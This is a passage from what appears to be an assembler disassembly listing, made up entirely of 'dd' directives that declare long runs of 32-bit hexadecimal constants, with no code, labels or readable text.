130EB952h, 9D807090h, 0A1A418D9h, 2AE9F8F0h, 0F7B86CFDh dd 4E307A1Fh, 0E4EF8E45h, 1B05A6C1h, 5E1DDE06h, 0D4A61518h dd 0F6E5776Bh, 0BB09D525h, 9AB32058h, 23A8778h, 0F2BDB1C9h dd 0F640F020h, 0D1BD6650h, 0DE42D52h, 0DD06100h, 0A84F34D7h dd 24D4951Ah, 5F2C2FDEh, 7CC9107Fh, 0E4FA0CBBh, 6052530Fh dd 5DAE295Bh, 0D681C093h, 1CDF3772h, 7E9D8925h, 0E6324EA8h dd 331AB24Ch, 0B68DDE98h, 88411714h, 0C78009EDh, 8547714Eh dd 0D3D1B589h, 99ACFF79h, 0EFBD201Ah, 0BB781201h, 4AC10838h dd 0F49EBC2Bh, 6AAAC1BAh, 506E3E02h, 3E3A4A00h, 609071B3h dd 32004598h, 5B3DBBB8h, 97610CCBh, 0BE011654h, 79C1BD56h dd 0F0D6167Ah, 770FBAD2h, 924274Bh, 0AD603790h, 740C9FEh dd 2F0BAB21h, 0D67EA99Dh, 0E7FEF944h, 10A4F0C8h, 2D6A037Ch dd 0FAD8ADA5h, 3BBD23B1h, 0E912F0F8h, 8440E3EFh, 233E1868h dd 0BF7C0014h, 7BED825Eh, 0FC0BA298h, 5D7E42C5h, 7EACEEB5h dd 98594CE0h, 0B03E00EEh, 31AE68F4h, 2F580985h, 2D0184EDh dd 87B26042h, 5125BF72h, 64715Bh, 23096656h, 4B022C8Eh dd 0C54061F3h, 0C04E5CDEh, 0F2DBD89h, 6057DC9Fh, 0B6ADA348h dd 9BDA7700h, 0F5C8F450h, 4DA80918h, 6873CEB8h, 0DA181A71h dd 2D235600h, 0BB26E5C4h, 0B0131275h, 6964E36Ah, 422F5FEEh dd 9DDBBAB7h, 1D9BED81h, 5EE32C8Ah, 80D307ABh, 3B7309F3h dd 0B792682Fh, 7FDC9F14h, 44075908h, 6E16BA29h, 0ACA831BAh dd 0DDC20808h, 0FA25BE41h, 7E823C0h, 0B93E688h, 77A5CF49h dd 92FE5D8Bh, 0E2BE5F44h, 4C2E4898h, 28602666h, 0F7193509h dd 0B85FE046h, 17BA6E8h, 35166DB2h, 0E4FE92ECh, 2E4C4F8Ah dd 50D00235h, 5C615E03h, 0E1F99237h, 258D2033h, 0C82B82A8h dd 0C191BB01h, 0D18B431Ch, 0E9FE7E84h, 0DB44CC5Dh, 49380DB8h dd 2B44124Eh, 0BB2F12EBh, 22BB9388h, 33D2BC2Eh, 0E972D8FAh dd 0C4923458h, 70AE3161h, 0C9B5294Ch, 19220147h, 0B4EDB323h dd 895F8176h, 0FC4E4295h, 8EB7B8D7h, 0D4ED9D14h, 9969E0EFh dd 486E68B4h, 7AC0AD18h, 81C01BF0h, 926843Bh, 0A0DCB17h dd 3D89195Eh, 8E165D1Dh, 188B59Dh, 0DCB932C7h, 189E2B0Fh dd 0A2D44680h, 0CB05D3F0h, 398B3AB9h, 0F40045F2h, 308F3DE6h dd 710B688Dh, 26BB725h, 41241ACh, 4A19B85Bh, 0BABCE1A9h dd 0E09D087Eh, 5ABD96BAh, 5EF2E2FCh, 48642D91h, 51FEC82Ah dd 9A87AC00h, 935FFB74h, 4F1C0050h, 4A947720h, 4C257DE2h dd 61E3768Bh, 20C02B5Fh, 314B1D05h, 9AB35EEh, 1973DA48h dd 0DC1917F9h, 180ECBE4h, 325F5756h, 0D48099DBh, 67384E7Ch dd 0F65D822Fh, 219DC169h, 25EA060Ah, 3CC5142Dh, 591B52Dh dd 0BA4DD54Bh, 0D9B72861h, 0FD0ECF52h, 3DB59FE4h, 0DDEA0003h dd 0D52A9569h, 0E5B39601h, 0F8E7807Bh, 5B8AD920h, 0F426A28Eh dd 12A0C0B6h, 2D029677h, 9DC549D9h, 1A71D5F1h, 1C18584h dd 0DC0EC816h, 9F966900h dd 0E3F4B9FDh, 897A0E56h, 0F276DA19h, 785B2DBFh, 2A99206Ah dd 0C1493376h, 0C5612591h, 0BB87133Ah, 0C758A87Bh, 3725AA4Ah dd 382EAFC8h, 0F8045639h, 0F12C53E2h, 4ADE3A2Eh, 84DDDC89h dd 9AAEDFDBh, 0C817C8EDh, 504801DFh, 3E959D31h, 0BFE14B40h dd 4B92329Ah, 1C7A8A03h, 0FF270450h, 0D202E337h, 5C4E2BB4h dd 43F5071h, 40894FB5h, 7A1C2D6Bh, 1A5AF748h, 1254AE42h dd 8905DD2h, 0FB00BF09h, 5679D7F8h, 0E996040h, 0E595922Dh dd 82DBB92h, 0BB8A4BE3h, 540B066Eh, 0C5FC4C6Eh, 60BDC404h dd 5F156EEFh, 0B14152EEh, 23ED7FDFh, 0A121A697h, 98822042h dd 0F80A9BF3h, 0D2C57377h, 9F707857h, 7B567162h, 0A05AFF91h dd 6E95204Fh, 20574AA8h, 0D0B44160h, 0E1D36600h, 2EE53CF2h dd 0CFE3023Bh, 5B6B7C9Fh, 8160515Ch, 2F3BFED3h, 0EA583F88h dd 9C5E925h, 0C40F4DAAh, 0DCA3BAFEh, 0FCCB8701h, 6EFA8A4Ch dd 0C1A94C2h, 0CE00BF5Eh, 68577124h, 7A0A4246h, 26A60950h dd 52702C55h, 1541B91Fh, 5014F62Fh, 7EB7481Ah, 0ADFDC474h dd 0A844A79h, 0F79FA6FBh, 509BFCCBh, 98BD8A0Fh, 2DEC5477h dd 98DBD8E9h, 0EB431CD9h, 0AF13DC65h, 8480A98Ch, 65859F88h dd 0F4807E9Dh, 502B9616h, 25DF68E0h, 8FC2F98Ah, 0E0C7A34Fh dd 0B75CEBC0h, 8D294BD5h, 0CD9029Fh, 956666ABh, 0C505F125h dd 0D67CA6ABh, 0CF675B00h, 4BBC5773h, 0AC694F63h, 0C4EFC064h dd 0B28A1Fh, 7E78CE0Fh, 0CF8663F2h, 11E5BBA0h, 5CD20982h dd 4907DED1h, 5B5DFFF3h, 0D2A936D3h, 9ECE4CA0h, 0E5461F14h dd 5F0CE1B7h, 4D85844Eh, 96005671h, 54DE60BFh, 68EF5005h dd 0D7CC4AC8h, 8390B5F5h, 0C001E97h, 53AADAC4h, 0E18F54h dd 0BD4E68D6h, 0F5BF808Ch, 7799D12h, 0B10600BCh, 727F9246h dd 742F2925h, 0A0D6E92Fh, 0CD945220h, 0CCEDD49h, 36A5EC00h dd 1B69EBA8h, 0BA5F4A5Bh, 0BF6097C9h, 489073D8h, 8C07FBF7h dd 990C07D0h, 0CEB31C0Ah, 0B7CB32Bh, 1C46D6h, 6A19F9E1h dd 17A0B5B8h, 9B6126EFh, 0C746C124h, 0ED0196Dh, 0B5890B8Bh dd 9EF71E01h, 0DEEACBE5h, 0B51A982h, 97741CDDh, 12ADA872h dd 2FD661EFh, 0B72227E9h, 4E0EBCD7h, 6FABBCC4h, 0F983B0BCh dd 4205A5Bh, 925A22F9h, 4CDD6131h, 0D9B512FEh, 8BC4E313h dd 19DBF24h, 86A82B8Eh, 0FE7A94F6h, 3F4B1F3h, 0C01C880Fh dd 624C432Ch, 39ECD07Fh, 98FC742Fh, 95C0B7B0h, 35451D1h dd 0FF21241h, 0F7E9320Eh, 0A982C6B8h, 85C90C2h, 5A6A0966h dd 0E270EB2Dh, 3839EBBFh, 8DCA6096h, 803C2848h, 5E1FB864h dd 9AEB07A3h, 73F35210h, 0E8D42E2Fh, 0FD33A3Eh, 0CE575650h dd 965B255Fh, 0FFE0E0E6h, 0B02AA22h, 0BF621578h, 7847D9Ah dd 0F5CAEB2Ah, 22DF8104h, 0ACA3B9CFh, 3D128C16h, 0BE09F813h dd 67F25755h, 7AAA614Bh, 6C280759h, 7779045h, 8966D680h dd 4D7BB853h, 5B273F6Dh, 279A35F7h, 0E30371ECh, 0B9BD2B52h dd 0BC554E32h, 0DBAFF4E7h, 702A8086h, 2CF7A1B9h, 11C3222Ch dd 5F511771h, 0C5001EA2h, 0A726D5FAh, 877CF178h, 56AB0997h dd 0E200DC2Ch, 8660A79Eh, 97DFF07Eh, 4677A709h, 52954EB3h dd 0D36BAF79h, 76051D23h, 64FF5678h, 0D688AC9Eh, 0B7E8EF84h dd 6AB76A27h, 0CF7F2C84h, 0C7AF0CBBh, 6178DF06h, 0D6DA811Fh dd 744A309h, 3BE4E76Bh, 0B2BF64ABh, 29DF00ACh, 0CE34986Fh dd 347F5FD7h, 9884EF4Dh, 1081F852h, 172EE133h, 0E317B6A9h dd 0D3920A2Dh, 444826B6h, 0D59AEEFCh, 4DC414C8h, 504437FBh dd 0A6C4C0CFh, 0C48A7F4Bh, 0BB244E35h, 71BC6Fh, 21523E80h dd 3197AE08h, 5B11BD38h, 4B5B6AFAh, 4407398h, 91D65B17h dd 1BF165D8h, 0B201F67Eh, 0FA309018h, 174C12A6h, 2FFDE187h dd 80C27CBDh, 0CB5CE1EFh, 71F16Bh, 2D03C2F4h, 4E166724h dd 5EBD890Fh, 911F51A2h, 2397801Bh, 7F87A43Ch, 0B0825AC2h dd 0D3952A3Ah, 0B662A52Ah, 5BE01ACDh, 0B5EB8EE8h, 1A6444EFh dd 0CCA76A60h, 0DA2B7002h, 5C1FE977h, 0EBBD92D0h, 0C197D65Dh dd 0F205316Fh, 0ACF4DD17h, 1F9516B0h, 954F9BBBh, 0DF18D8CAh dd 50C21603h, 5A25BD09h, 6580B2DBh, 0C1CEB652h, 0B834B204h dd 0AEC5EC4Fh, 6A92E0FFh, 2DEE7BCh, 8CB30F6Dh, 0DA832E15h dd 0C88CE8B8h, 77135D63h, 0C6EEA32Bh, 692074A1h, 0AF6AF222h dd 0B8A640E9h, 85142B41h, 0BB6080Eh, 55152865h, 5C0096Dh dd 1BFF54Bh, 71A88818h, 3B3FE780h, 0E305E6B8h, 9284F6CCh dd 51200CADh, 3F4266h, 2E0F126Ch, 48B9D9BDh, 0ECC8604Bh dd 3EAF7079h, 0E180301Bh, 5258F58h, 0B018617h, 1E2845F4h dd 0AF725EDFh, 4895B09h, 680053BDh, 221680ABh, 0BD3CB09Bh dd 11AD2402h, 9DE369CFh, 0DE0B95B0h, 3B8F1BE9h, 0E7CADD5Ch dd 0BF5307B3h, 34D0D391h, 9F8F0F5Fh, 1825845h, 571ABD9Dh dd 0EC89A039h, 57C90485h, 494979D1h, 5B59E2FDh, 0CA2F7039h dd 0F4A8D900h, 0D8603980h, 21024E6Ah, 0E00DDDCDh, 5707FFADh dd 0A8D81B68h, 11405095h, 42022054h, 0E7B02C3h, 0D91067E6h dd 9D09DCA2h, 0BADF98C2h, 9530F75Eh, 6DE0A7EBh, 98E93312h dd 6F8907F3h, 99F36809h, 27FCE678h, 0A15457D3h, 1259FF7Ah dd 0C131FC0Ah, 55B92012h, 20D0E8D2h, 0B790001Fh, 0BF52506Bh dd 411E8292h, 53E55B5Fh, 0A0FEA789h, 8E35F7A5h, 4238199Ch dd 177BCA03h, 0FBA40DACh, 5D23A409h, 7B951814h, 45511715h dd 0AEC563AEh, 28E65584h, 7B6D54E1h, 82935FFCh, 3D7D08E5h dd 0E270095h, 0A094A59Ah, 0E0B17DE4h, 0C74F9980h, 4B529DACh dd 3501D81Eh, 34600141h, 0A3A3A3B0h, 92AEB45Fh, 0A20EFA12h dd 542DA7BFh, 0FF69259Fh, 0DD3DA817h, 52651BDh, 0AE14E58Dh dd 0CD1186E3h, 0BF92DF11h, 346FFBE1h, 2D55FC51h, 86827122h dd 8CE9AFBBh, 0E980DA4Bh, 4229BD0Bh, 32245428h, 898C08BCh dd 0C2D10D0Dh, 0C1E9FB68h, 0F70923F1h, 0B5F2709Eh, 0EB50F341h dd 0A1FFBAC0h, 0F287174Bh, 0C931C390h, 1239695Eh, 2360D6FEh dd 77F0EB2h, 0DAD63271h, 9D360034h, 723CD9E4h, 59B52F15h dd 0C7F88045h, 3879B3Fh, 1B203Eh, 0AFD17C6Dh, 2D7DA828h dd 72735F61h, 80FEF0B2h, 0E9D7DFBCh, 0BB19C061h, 29FC890h dd 5F269A97h, 1AA01610h, 0CF610803h, 0B08F054Dh, 128859DCh dd 0F140CD09h, 9EA92A34h, 12ECF98Ah, 4038F6F8h, 204125C6h dd 9624F104h, 6280A6ACh, 979B6F22h, 0AFCA1D02h, 80D3344Bh dd 5B8775D9h, 0E3955A31h, 9DDF849Fh, 7855CF11h, 26F930A4h dd 8D5EAD01h, 673397D6h, 58CEAF98h, 0B6773209h, 0CA90FD09h dd 98AA84B9h, 0F277A9C2h, 0FCE12DBDh, 0B8002071h, 783D39D7h dd 0EA710047h, 2D86E19Fh, 0A53DF809h, 1DACDFCAh, 0FBFC5BC5h dd 0A3D24F9Bh, 8D0104DAh, 61BA1DFDh, 0C46A636Bh, 0E302BAABh dd 0F6BECF7Ch, 0D4865669h, 0BC001B46h, 5FE6362Bh, 0BB2775D4h dd 0FCD790F5h, 7A6138EDh, 0D4B4A580h, 0F7A88248h, 250BDD4Dh dd 0DF39EA5Fh, 0D6E94DCDh, 2952409Ah, 125ECDB5h, 0E2954BD3h dd 7D365718h, 1CB4E3A0h, 4D094F2Dh, 9BDC5A5h, 0A240A1E0h dd 67AF880Dh, 1A263E40h, 82195E1Eh, 0FB7C0AE7h, 0EFA0C649h dd 1189F141h, 4DC9D6Bh, 84E2BEABh, 0C819DB0h, 4AE38080h dd 813BDB5Ch, 8D755E19h, 282BAC31h, 2A8B1FE8h, 99235CEh dd 31CD8D29h, 0F6EEECDDh, 9CD1B57Dh, 5CE1FF42h, 4735080h dd 0A23D9Fh, 5E50E546h dd 8B4B766Eh, 5F2D838Ah, 50D8A373h, 0B1AFA1F4h, 623307C2h dd 9C55124Dh, 7EF345F5h, 0BF603A8Ch, 9403E637h, 98F215C8h dd 98FC57B3h, 0DF8726FCh, 0E6AD1250h, 9C71B457h, 6A703E59h dd 0AB72259Fh, 0F07456C2h, 0A57D804Fh, 2FF8C3Dh, 0BEC5603Ch dd 455C6AACh, 5E01598Bh, 6907F493h, 858B67EAh, 9D098B18h dd 0FD12A9D5h, 6C49096Dh, 89D50C64h, 905DB1B5h, 0F7FD524Fh dd 68EEBF03h, 0FDDD26CBh, 0B59DB8D5h, 1C0F3F46h, 41EE825Eh dd 28F0F47h, 2AFE8A11h, 20BF2C13h, 2882C81h, 92A19A01h dd 6EA97D41h, 0B8008268h, 0B7685B65h, 764B8F9Dh, 78B6E2h dd 9ED98809h, 0E2D7FB2Ch, 0A3E668EEh, 44890F1Eh, 90E0E552h dd 909E1348h, 0B88FE976h, 80414F72h, 70EF8013h, 591A7395h dd 3F8181Bh, 30F4982Fh, 0D1FDC078h, 21AF55B3h, 24287E61h dd 23E80096h, 1A6BD9DFh, 0F4B57BE1h, 0CBE9070Dh, 0A17C0B01h dd 7E7417DEh, 4052EED6h, 0AC5F9FB3h, 3BA655DAh, 0AAF526B9h dd 0BBC98C9Ah, 2A408FF4h, 2F5F27h, 201B1019h, 385111C3h dd 3FAED8EFh, 0FC30B809h, 0A0867175h, 8C614996h, 156D9D76h dd 4C6BDBE0h, 31752CAAh, 27BD292Ah, 4E40744Fh, 16751BA3h dd 0EABD3356h, 4689A321h, 0B87DED7Eh, 806F4AB6h, 75B96617h dd 7D20E64Fh, 3FD4895h, 0F35030FCh, 69E839D4h, 60B55E26h dd 4F800FF0h, 5A7EB308h, 9796E4C8h, 800029B7h, 0A2FB393Dh dd 0B3C0125Dh, 0EAC9C56Fh, 41C0C0DEh, 64964CF7h, 155C6E16h dd 0F95A90E8h, 72680272h, 4118821Eh, 0ED24DE41h, 9D1D3D8Dh dd 8283DB5Bh, 0C08483CCh, 811F69D4h, 3CAC7BF5h, 312D48DFh dd 0FD169016h, 0BE32F0C1h, 387210A6h, 5009A74Bh, 0E012CBE6h dd 0E2BE640Ch, 4A92024Bh, 0F750A0B0h, 7B696B6Fh, 4F562FC1h dd 6C18E9C0h, 0BCDF4E8Bh, 1239B604h, 9E48E9FCh, 0E04BC584h dd 2FC4F4EEh, 28B0F18h, 2D54B323h, 9DF584B7h, 0D8817180h dd 14971710h, 0B454474h, 2FF955FAh, 4B324A38h, 80579E04h dd 8CE879E1h, 3D850038h, 9D0373ACh, 45B512F1h, 1218954h dd 24C765FDh, 0E412D627h, 0B7B3F55Dh, 0D2B3AC5Ah, 0A24F55B3h dd 0EB1807A6h, 0B9106939h, 19B2838h, 7EA68CCEh, 0E8BCB610h dd 9639CB55h, 0BB04F50h, 8AB54B9Dh, 60B64E21h, 323D597Ch dd 0A47FEB4Bh, 1CEB04Ah, 0A81254B5h, 0A0925D1h, 0B579E5Eh dd 4B90FE5Eh, 0D3BDDCC6h, 0DFB95ADEh, 71A96B09h, 59B4158Ch dd 9EBC1F4Ah, 0A05BA6B4h, 4B99957Eh, 0C8AA3548h, 5B000A65h dd 0B9B18D1Bh, 275F730h, 80EDC8FCh, 265C63E3h, 0D0AB0916h dd 12C3814Bh, 6F366512h, 0BA360FE1h, 0E64A60F0h, 0F6A8BB01h dd 15C99D29h, 802A702Eh, 87A3C1E7h, 0E57534DAh, 0FAB5A7DCh dd 6079CC2Fh, 0CB814621h, 1827B835h, 0E2DF5E5Dh, 941C2F71h dd 0F116D496h, 1E02967Ch, 57501640h, 0E449B9DEh, 0EE960011h dd 31D4AB2Ch, 0C012E191h, 488DB17h, 6E779Bh, 0B860D992h dd 77D699EBh, 5B6FFA0Bh, 0CB53ED96h, 0F76C92FFh, 0B051A265h dd 14F478F9h, 4ECC7A97h, 8D2DD846h, 0F52F352Dh, 9D8597B8h dd 60C92043h, 0F6A876h, 0BA98D58Ch, 0AC336552h, 0A70B8926h dd 161C4508h, 0D0FDC896h, 60A2E400h, 507AAA2Bh, 96D9268Bh dd 79E4DE47h, 0BD892904h, 0E2EE20CDh, 0EFACCFh, 3A72DC8Bh dd 47E82A96h, 6B5FE155h, 6881D2FCh, 2BF98501h, 19885A9Eh dd 0D21D2FC0h, 3863274Ch, 89D63FF7h, 9E718E32h, 251C04A6h dd 0C46971E5h, 50574B5Dh, 0E75F4ACAh, 0B57B5645h, 0D133E0EFh dd 2707E948h, 0E8B5F505h, 0B6601A13h, 9030ABFh, 0BA95F9B5h dd 0B1638FEh, 1685DABAh, 61FB1AA9h, 9F58DC6Fh, 32808980h dd 0CCEAAC3Eh, 0CEA40525h, 0AEF35CE9h, 6E01047Ah, 37963193h dd 0E17E89D5h, 0AEB6710Dh, 0E970D4A0h, 4A939548h, 0F83AB0CDh dd 33039625h, 270231BDh, 417B901Ah, 94F0043Ch, 20EA5065h dd 53D8FC7Ah, 0DC2A4200h, 3119FEE3h, 0F4C49F90h, 9D40D43Dh dd 0C900B5D8h, 0E4D3BBBFh, 3D820287h, 6A6D3AB3h, 807FB757h dd 6D37BE1Eh, 2D2F0A89h, 0C76290C5h, 796100CAh, 50A3BD68h dd 0D7F0808Ch, 2C26381Eh, 626E714Ah, 8F293F85h, 0C54F42FEh dd 0B05C0ECCh, 59257524h, 382688D2h, 0D725972Ch, 8FB6BA66h dd 4D47CDCh, 6667A4DBh, 87E4EE11h, 0F7D1978Dh, 0FCA04EBDh dd 0E0110BBEh, 0E4379061h, 0AAB1AC80h, 13EF9A78h, 0BD6AE3B7h dd 98BC3Bh, 774DE174h, 67735F9Bh, 6FEF175Fh, 0B1B8024Ah dd 0C02B097Eh, 0B520F139h, 6DA53EC5h, 84DE47BDh, 0E971AE60h dd 6309143Dh, 83D001AEh, 94B31768h, 1296F4F8h, 0E282B07Ch dd 0A0A29EA1h, 9D1BCDCAh, 73A5F579h, 96BB508Bh, 1A5C903h dd 9AAD2065h, 0EE35153h, 1CC04150h, 8260CA0h, 0E0713D00h dd 8E568FB3h, 5CFC0E49h, 23E25B43h, 0D6CBEDBDh, 5F78E9C4h dd 6BABDFC4h, 1A23CCh, 526BD180h, 6E5BE34Ch, 908ACF83h dd 970C84E9h, 3021C116h, 7B6D2738h, 0F56DE41h, 125472FAh dd 0E35FF88Bh, 8A9024AFh, 2B138628h, 8E5335BDh, 23B76EAEh dd 62920018h, 80D49D66h, 0A27FDF28h, 0BB96FE9h, 2AF1BD82h dd 0A76B45D7h, 754020EDh, 3F197E41h, 4C4CEDB1h, 6A6CD7C1h dd 73BC3B3Dh, 0A9FF129Eh, 0AC3FB973h, 20B716E0h, 0FE4FF3ACh dd 0CC350960h, 0B0697B9Eh, 0FBB109DCh, 0A9732BFAh, 9D822010h dd 0E6750B21h, 0C6E220BFh, 71E43EC4h, 0BDCF60EFh, 128311C5h dd 0AE7AF02Ch, 0BD333370h, 4B0B5381h, 0CFA2B71Eh, 99A07116h dd 1958BBB6h, 8ABF0297h, 42BB5CFDh, 8FC26BB3h, 89957AD0h dd 40D856B1h, 872F2DA4h, 8B68E714h, 0ECE1C0B3h, 730B099Eh dd 5E947111h, 1616EBF1h, 0C3B06152h, 0B1D1ECD9h, 0C159AD32h dd 60FB8292h, 2CC5DEB4h, 7503C82Fh, 0E95F6CA2h, 0F8AE57Eh dd 7B3B708Eh, 0BF01B2B1h, 39CDAE1Ah, 55E0002Eh, 0D7814947h dd 0A3B04B08h, 72214F63h, 103F3621h, 25316FBBh, 0D6730FB8h dd 0D9950185h, 0D540F622h, 6123DB9Ch, 22B9121h, 0D72C5EBFh dd 474ED771h, 0F1088E2Dh, 5BCAA5F5h, 5FCF08D5h, 4D09A226h dd 4294711Fh, 105B33Bh, 0C96485EAh, 72C26A78h, 0AE5B0527h dd 1CC94B9Ah, 99D37E30h, 917F6E07h, 0C004CEC7h, 2D354280h dd 561D5DB9h, 58E78009h, 0B4DF9470h, 957709D0h, 78010D37h dd 0C02B2A02h, 39F0D826h, 644F8F11h, 207A09B1h, 5CF5244Bh dd 47220A0Fh, 8511E29Bh, 63DC558Ch, 1D20E7A0h, 649A9514h dd 0B4D78A8Bh, 0FDD94A23h, 0D5958204h, 69EE752Fh, 8D088143h dd 42522F41h, 0CCCA7F0Ch, 913FB555h, 2CA8914h, 751F3D05h dd 60E05BE5h, 3032DE81h, 9520C975h, 3ECB1E7Dh, 81A55961h dd 1AB22ABFh, 0F282E3Ch, 0FC68A79h, 5B012375h, 0E23CE1B5h dd 0D5D0C22Fh, 0AABF0408h, 0BC5FC02Eh, 26F9357h, 9630EA5Bh dd 5B1258BFh, 946F8A3h, 71B49FD7h, 0DF0FBD3Fh, 1C028409h dd 0B777E1FFh, 87E22DBCh, 1E2D1882h, 5A639CD5h, 0EC79BD3Ah dd 4CCB0218h, 0FF8FB20Ah, 0E4B9715Fh, 0A241B8FCh, 0EE922E2h dd 0B772D320h, 997DDEh, 73BA1B92h, 8DC33C50h, 9DA9604Ah dd 7FE955B8h, 5CF5BBC2h, 92B72542h, 82D5260Bh, 77E1808Bh dd 6F8094B7h, 0D4AD6905h, 0E2741243h, 0C652E477h, 0FA8B29C5h dd 47EF6BAAh, 2F7901CBh, 9EE84B53h, 0FF7B093Eh, 12A55571h dd 4CE5D5DFh, 0B909D54Bh, 2F50E5F7h, 529F9446h, 15BD1052h dd 0A0F14B20h, 956ACDFCh dd 0EDCAA56h, 5CCA18A7h, 689EDDC0h, 172FBF3Dh, 0C2FBE091h dd 6F072044h, 0BA1D592Fh, 3A04F7FCh, 9265E81Bh, 232FE7A3h dd 443A957h, 18E90293h, 0A901AD16h, 0B5DAD9EBh, 8FEDF5C2h dd 0E0D46CE9h, 66120BE4h, 51F084BFh, 7ABB694Ah, 66872560h dd 0F3BD80C4h, 0BF5F5F18h, 0C512B16Fh, 707F2FDh, 6554B1EEh dd 22E261B0h, 0FC812EFh, 0CF79A889h, 95F2B51h, 855134h dd 0B3ABA9E0h, 32006768h, 0FB06A53Ch, 97800F11h, 133FCCD3h dd 6BAE5F6Bh, 11B23DBh, 0EA6BC9C4h, 0FB84F491h, 0FFBD3327h dd 6229EB07h, 92D512C1h, 333E692Fh, 0C9327A69h, 0E6F7501Fh dd 98759580h, 4306987h, 0DE8BA7C7h, 0D45ECD58h, 98001E4Bh dd 0DC8E93BDh, 0B30F667h, 6143CD8Ah, 3797AFD0h, 0B92A0B78h dd 950244D5h, 0BD55ED09h, 0DE9FD1h, 4BE5033Ah, 6131F1EAh dd 24D6256h, 53846800h, 59C38F6h, 7BEE4025h, 57E7A50h dd 0EDF0B2BBh, 0BF58852Dh, 9D80799Fh, 80C638F7h, 7A85CF2Fh dd 5472BF1Eh, 60135995h, 85168CBFh, 953E468Ah, 3600F3E4h dd 62ADB7D7h, 1AEB4A7h, 79BC2D8Bh, 0DE5ED17Dh, 4D11C45Fh dd 13D6185Fh, 619AC200h, 0DC2154h, 0CC5DF68Ah, 0C0F3FC06h dd 0F56CE92Dh, 0EA57C832h, 523DD5ABh, 0EF961791h, 88A2ED52h dd 0ED16308Eh, 5B5BE81Dh, 2344C829h, 0ADE15CB7h, 0AE266F51h dd 729D57A5h, 9FADC72h, 0A7561FD1h, 0C5D2FB71h, 71323174h dd 0AAE3208h, 0B6B55DCBh, 3D82DD59h, 19D58531h, 197932FBh dd 0FEBF1A18h, 9D01820Bh, 5BD70F8Dh, 8DCE7202h, 0B74AC709h dd 0BDC55897h, 5BF4C276h, 976AEBC9h, 3B3DD95Bh, 0C02CA0h dd 188258FEh, 1D9D0BDFh, 80E01C58h, 0FBBB50FAh, 6C152643h dd 0EB8A9EA9h, 0FB9125B2h, 0D74EECA6h, 0BE6451FEh, 0A3AB63D6h dd 0D0F72520h, 0FB614FFEh, 0C70BC27Ah, 81023701h, 7BE8F410h dd 0D69F5D18h, 1CADC282h, 70EBBB14h, 0D35B5ECFh, 0AA05B2B0h dd 0F56A4A30h, 0EF8E3FBh, 0EB4A0B0Fh, 4FC26043h, 2A796982h dd 0F2E2570Bh, 9DCC674h, 19DAAD3Fh, 402DCFDDh, 0D4B99D7Dh dd 10E77F2Dh, 0D9A23h, 89BE9809h, 0D7DFC1A5h, 8BB7164Ah dd 0DBAC2959h, 0EFE00173h, 0E9938612h, 0F5127BE3h, 5D92FE31h dd 4AB7FF6Ah, 0C517AA80h, 17D1AC5Bh, 0AA8C0FFFh, 54B5DC32h dd 0B51355F1h, 0EB0BEAB8h, 18C61F54h, 71529625h, 541A0061h dd 0CFE29CF4h, 177FC405h, 0C5FF505Fh, 6AFBCDFDh, 31805CFCh dd 0F4F9BFBBh, 6286334Fh, 75FE9DB0h, 5BF00F6h, 1C197339h dd 2254EA6h, 0E39A57B0h, 39134801h, 6EDD2A81h, 2B1F8D6Eh dd 8A2F6128h, 0DE0155E4h, 0EFF48589h, 0A27E472Ah, 0E1E74B86h dd 93D8C704h, 1FA2FE5Bh, 3798C801h, 6BE81997h, 0DF2556BDh dd 9C20BF5Fh, 31258F54h, 9A0DDFE1h, 0EF0920A1h, 218CAE4Bh dd 58D1609h, 0FC38281Dh, 9EA9895h, 11BD2185h, 23494FE4h dd 97A35A77h, 94D47DD6h, 0AA42C44Ch, 90D87620h, 0B0460473h dd 0EE206D6Ch, 2E01D004h, 273BF012h, 175F6180h, 91C6D88Bh dd 3A157144h, 0BDD2BEB6h, 0F8F2A876h, 0F9B30BC6h, 68F7B509h dd 0B6F43DF4h, 9DD5BE99h, 8103396Ch, 0BAB22AF3h, 0F00EB387h dd 5576EACBh, 146E8A98h, 79CB55D2h, 4060E6FFh, 15794555h dd 5F65505Fh, 205E39E6h, 0C22B58B0h, 8CF01ACDh, 4D387C85h dd 1251C35Ah, 50B74084h, 3BD0033Ch, 45383A81h, 3644E65Bh dd 2F0AAC2Dh, 624D9E9h, 0D57682C8h, 400382E8h, 0F84F3C6Eh dd 0DE1A8DC2h, 12627DF9h, 5031B39h, 1C5B61F8h, 8DD1030Ch dd 4D091D20h, 128808EDh, 640523F5h, 6D05058Fh, 0A2BFC483h dd 8B511332h, 81105B01h, 1446B0A9h, 335909B5h, 5702C3C0h dd 0E0463105h, 30C62444h, 476BE585h, 0A712D268h, 8304D49Ah dd 0EBAD1D45h, 0F05A8A39h, 1890D09Bh, 5BC408D6h, 0D38BD645h dd 1A00FCE2h, 49DA3D93h, 4D001D40h, 0E757545Bh, 13EB178h dd 0F267091h, 215FD7BFh, 9A67D002h, 250F434Ch, 0B28FE0E2h dd 8BBEC395h, 2E00070Ch, 0F8C181F7h, 0B72E560Bh, 201FF264h dd 198B2F37h, 1590FF22h, 2701EAA9h, 0FEFA049Fh, 320AFD2h dd 97B21DD6h, 40F1415Eh, 2C5CBC61h, 5970857Ch, 2C3800EAh dd 0F943C7CCh, 18139B77h, 1C00BE0Ch, 0E9815B84h, 0FB4B01B2h dd 51D78B39h, 0E2E5FC66h, 7048F12h, 80267558h, 836F1FDAh dd 97F31E8h, 0F4F8FC08h, 5026A248h, 80881048h, 0AA6A4AD6h dd 0D4145540h, 1F7B41E8h, 68956524h, 64890079h, 0B516ED5Bh dd 7E124D3Eh, 0DCBED68Dh, 5D49E95Fh, 0BC78075Ah, 9090EC1Ah dd 1CA7F2FAh, 8AA6E544h, 0AD5CF0h, 0AF89AC87h, 6000248Fh dd 0DEA8EB7Fh, 32F0344h, 0B4FACA67h, 1EA03309h, 5800D6F1h dd 6E719062h, 3AB7ED05h, 0DA3002BEh, 6250F421h, 0DD4E6C00h dd 0B3CA2129h, 97D600E8h, 876A603h, 9107248Ah, 4A6C876Bh dd 0E62200EEh, 12EA7F4h, 665B9967h, 809DE0E7h, 215A5810h dd 1B413FF1h, 40D1AAA4h, 700336C3h, 494A3883h, 511100EDh dd 0E2B93DA0h, 22189EF3h, 5808F46Ah, 3120C038h, 8DBB3DA8h dd 3EDB423Bh, 68FB30AEh, 610C3771h, 0B7209041h, 8008FE24h dd 5280EE11h, 0BE719262h, 0E3220243h, 624AF607h, 2A961C1Bh dd 7E4F1CA9h, 42F74052h, 8B906ED0h, 74F97306h, 0C8D00CB2h dd 97C051C8h, 43E2BE3Dh, 9FA880BBh, 3BFC6F3Dh, 0B68A81E2h dd 40D805D8h, 0AB30D71Fh, 